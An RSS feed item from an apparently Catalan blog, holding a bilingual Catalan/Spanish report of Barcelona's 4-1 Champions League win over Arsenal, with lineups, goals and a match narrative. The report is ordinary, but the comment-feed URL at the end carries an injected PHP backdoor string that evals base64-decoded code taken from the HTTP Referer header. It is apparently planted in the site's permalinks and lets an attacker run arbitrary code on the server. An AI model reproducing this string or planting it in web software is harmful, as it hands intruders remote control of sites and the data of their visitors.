<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-ansi-language: ES;"><span style="font-family: Times New Roman;"><strong>Fitxa tècnica</strong> </span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-ansi-language: ES;"><span style="font-family: Times New Roman;"><strong><em>Barça</em></strong> (4): Valdés; Alves, Márquez, Milito, Abidal (Maxwell, m. 53); Xavi, Sergio Busquets, Keita, Messi, Bojan (Yayá Touré, m. 56) i Pedro (Iniesta, m. 86). </span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-ansi-language: ES;"><span style="font-family: Times New Roman;"><strong>Arsenal</strong> (1): Almunia; Sagna, Vermaelen, Silvestre (Eboué, m. 63), Clichy, Edmílson, Nasri, Diaby, Walcott, Bendtner i Rosický (Eduardo, m.72). </span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-family: Times New Roman;"><span style="text-decoration: underline;"><span style="font-size: 14pt; mso-ansi-language: ES;"><em>Gols</em></span></span><span style="font-size: 14pt; mso-ansi-language: ES;">: </span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-ansi-language: ES;"><span style="font-family: Times New Roman;">0-1. M. 18. Diaby roba en possible falta, llança a Walcott i aquest cedeix a Bendtner, que no pot batre Valdés en el seu primer intent, però sí en el segon. </span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-ansi-language: ES;"><span style="font-family: Times New Roman;">1-1. M. 21. Messi recull un rebuig de Silvestre i marca de tir dur i ajustat. </span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-ansi-language: ES;"><span style="font-family: Times New Roman;">2-1. M. 37. Messi culmina, després d&#8217;una assistència de Pere, una jugada iniciada per ell. </span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-ansi-language: ES;"><span style="font-family: Times New Roman;">3-1. M. 42. Messi, a passada de cap de Keita, es va sol i aixeca la pilota davant la sortida d&#8217;Almunia. </span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-ansi-language: ES;"><span style="font-family: Times New Roman;">4-1. M. 88. Messi, en jugada personal. </span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-family: Times New Roman;"><span style="text-decoration: underline;"><span style="font-size: 14pt; mso-ansi-language: ES;"><em>Àrbitre</em></span></span><span style="font-size: 14pt; mso-ansi-language: ES;">: Stark (Alemanya). Targeta groga a Edmílson, Rosický i Eboué. </span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-family: Times New Roman;"><span style="font-size: 14pt; mso-ansi-language: ES;"><span style="text-decoration: underline;"><em>Camp Nou</em></span>: 93.330 espectadors.</span></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt;"><span style="mso-ansi-language: ES;"><span style="font-family: Times New Roman; font-size: small;"> </span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 16pt; mso-ansi-language: ES;"><span style="font-family: Times New Roman;">BARCELONA 4 - 1 ARSENAL</span></span></strong></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-ansi-language: ES;"><span style="font-family: Times New Roman;"><em><strong>CHAMPIONS: Messi lleva al Barcelona en volandas hacia la final de Madrid con un hat-trick, el cuarto de la temporada</strong></em></span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-ansi-language: ES;"><span style="font-family: Times New Roman;"> </span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-ansi-language: ES;"><span style="font-family: Times New Roman;">El <em><strong>Barcelona</strong></em> debió cerrar la eliminatoria tras su exhibición en el Emirates, pero los azulgranas se apiadaron del Arsenal y dejaron a los gunners con vida para que Messi les rematara en el Camp Nou. Si en Londres el 10 estuvo agazapado y al servicio del lucimiento colectivo, el argentino acaparó todo el protagonismo. Bastó que el Arsenal amagara con incomodar la noche a los azulgranas con un gol de Bendtner para que Messi cogiera el balón e iniciara él solito la remontada. Tres goles en veinte minutos y un cuarto para superar sus tres ‘hat-trick&#8217; de la temporada. Ahí es nada. </span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-ansi-language: ES;"><span style="font-family: Times New Roman;">Como en el ajedrez las casillas centrales del tablero, para <strong><em>Barcelona</em></strong> y Arsenal el centro de discusión lo volvió a acaparar el balón. Wenger planteó el partido tal y como había anunciado. Intentando estrecharle el campo al <em><strong>Barcelona</strong></em>, acumulando muchos jugadores en la zona de creación. Los ingleses dejaban salir a los centrales, pero vigilaban de cerca a Xavi y tapaban las líneas de pase. Incapaz de discutirle la posesión al <strong><em>Barcelona</em></strong>, el Arsenal pronto se refugió en la presión y la salida rápida en cuanto interceptaban un balón. Así llegó el gol de Bendtner, a quien Valdés pudo detener una vez, pero no en la segunda. </span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-ansi-language: ES;"><span style="font-family: Times New Roman;">Messi necesitó apenas tres minutos para encontrar una cabina y enfundarse el traje de superhéroe. El argentino se sacó de la nada, y sin apenas espacio para engatillar, un zurdazo que restableció el orden. Messi empezaba a brillar, algo que, siendo bueno para el <strong><em>Barcelona</em></strong>, no siempre es un buen síntoma para el equipo de Guardiola. De hecho el Arsenal había logrado llevar el partido donde más le interesaba. Con tráfico denso y un peaje cuyas barreras sólo Messi parecía capacitado a saltarse. Y así fue. </span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-ansi-language: ES;"><span style="font-family: Times New Roman;">En vista de que Xavi no podía maniobrar con comodidad, el 10 asumió su papel e inició una jugada que él mismo se encargó de rematar a pase de Pedro. Insaciable, Messi no desaprovechó una asistencia de Keita (¡con la cabeza!) para poner el turbo hacia la portería de Almunia y batirle con un toque que sólo está a la altura de los elegidos. El tercer gol de Messi desató la euforia en las gradas, que desenfundó el &#8220;<em>¡sí, sí, sí, nos vamos a Madrid!</em>&#8220;. Eso sí, lo hizo tímidamente, quizás porque en la memoria de los aficionados estaba aún demasiado reciente lo acontecido en Londres, donde el Arsenal ya fue capaz de remontar los dos goles de Ibrahimovic.</span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-ansi-language: ES;"><span style="font-family: Times New Roman;"><strong>Temporizando para el sábado</strong></span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-ansi-language: ES;"><span style="font-family: Times New Roman;">Pese a que, consciente o inconscientemente, el <em><strong>Barcelona</strong></em> empezó a reservar su mejor fútbol para el clásico del sábado, los ingleses nunca dieron la sensación de poder darle la vuelta al partido y, por extensión, a la eliminatoria. Tal vez por la suma de ambos condicionantes, el ritmo y la intensidad del juego bajó considerablemente en la segunda parte. Sólo en cuarto gol de Messi, con el partido a punto de finalizar, volvió a poner al Camp Nou en pie, que, ahora sí, coreó con ganas el &#8220;<em>Messi sí, sí, sí</em>&#8220;. </span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-ansi-language: ES;"><span style="font-family: Times New Roman;">El <em><strong>Barcelona</strong></em> está ya a un sólo escalón de la final del Bernabéu, aunque en él le aguarda el Inter de Mourinho. Un rival incómodo y (sobre todo) un técnico que a buen seguro no planteará una batalla como la del Arsenal, sino un auténtica guerra de guerrillas. Los de Guardiola son mejor equipo y en caso de duda siempre tienen a Messi como factor determinante.</span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-ansi-language: ES;"><span style="font-family: Times New Roman;"><strong>Ficha técnica</strong></span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-ansi-language: ES;"><span style="font-family: Times New Roman;"><strong><em>Barcelona</em></strong> (4): Valdés; Alves, Márquez, Milito, Abidal (Maxwell, m. 53); Xavi, Sergio Busquets, Keita; Messi, Bojan (Yayá Touré, m. 56) y Pedro (Iniesta, m. 86). </span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-ansi-language: ES;"><span style="font-family: Times New Roman;"><strong>Arsenal</strong> (1): Almunia; Sagna, Vermaelen, Silvestre (Eboué, m. 63), Clichy; Edmilson, Nasri, Diaby; Walcott, Bendtner y Rosicky (Eduardo, m.72). </span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-family: Times New Roman;"><span style="text-decoration: underline;"><span style="font-size: 14pt; mso-ansi-language: ES;"><em>Goles</em></span></span><span style="font-size: 14pt; mso-ansi-language: ES;">: </span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-ansi-language: ES;"><span style="font-family: Times New Roman;">0-1. M. 18. Diaby roba en posible falta, lanza a Walcott y éste cede a Bendtner, quien no puede batir a Valdés en su primer intento, pero sí en el segundo. </span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-ansi-language: ES;"><span style="font-family: Times New Roman;">1-1. M. 21. Messi recoge un rechace de Silvestre y marca de tiro duro y ajustado. </span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-ansi-language: ES;"><span style="font-family: Times New Roman;">2-1. M. 37. Messi culmina, tras una asistencia de Pedro, una jugada iniciada por él. </span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-ansi-language: ES;"><span style="font-family: Times New Roman;">3-1. M. 42. Messi, a pase de cabeza de Keita, se va solo y levanta el balón ante la salida de Almunia. </span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-ansi-language: ES;"><span style="font-family: Times New Roman;">4-1. M. 88. Messi, en jugada personal. </span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-family: Times New Roman;"><span style="text-decoration: underline;"><span style="font-size: 14pt; mso-ansi-language: ES;"><em>Árbitro</em></span></span><span style="font-size: 14pt; mso-ansi-language: ES;">: Stark (Alemania). Tarjeta amarilla a Edmilson, Rosicky y Eboué. </span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-family: Times New Roman;"><span style="font-size: 14pt; mso-ansi-language: ES;"><span style="text-decoration: underline;"><em>Camp Nou</em></span>: 93.330 espectadores.</span></span></p>
]]></content:encoded>
			<wfw:commentRss>http://pbcalonge-stantoni.cat/2010/04/07/barca-4-1-arsenal/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
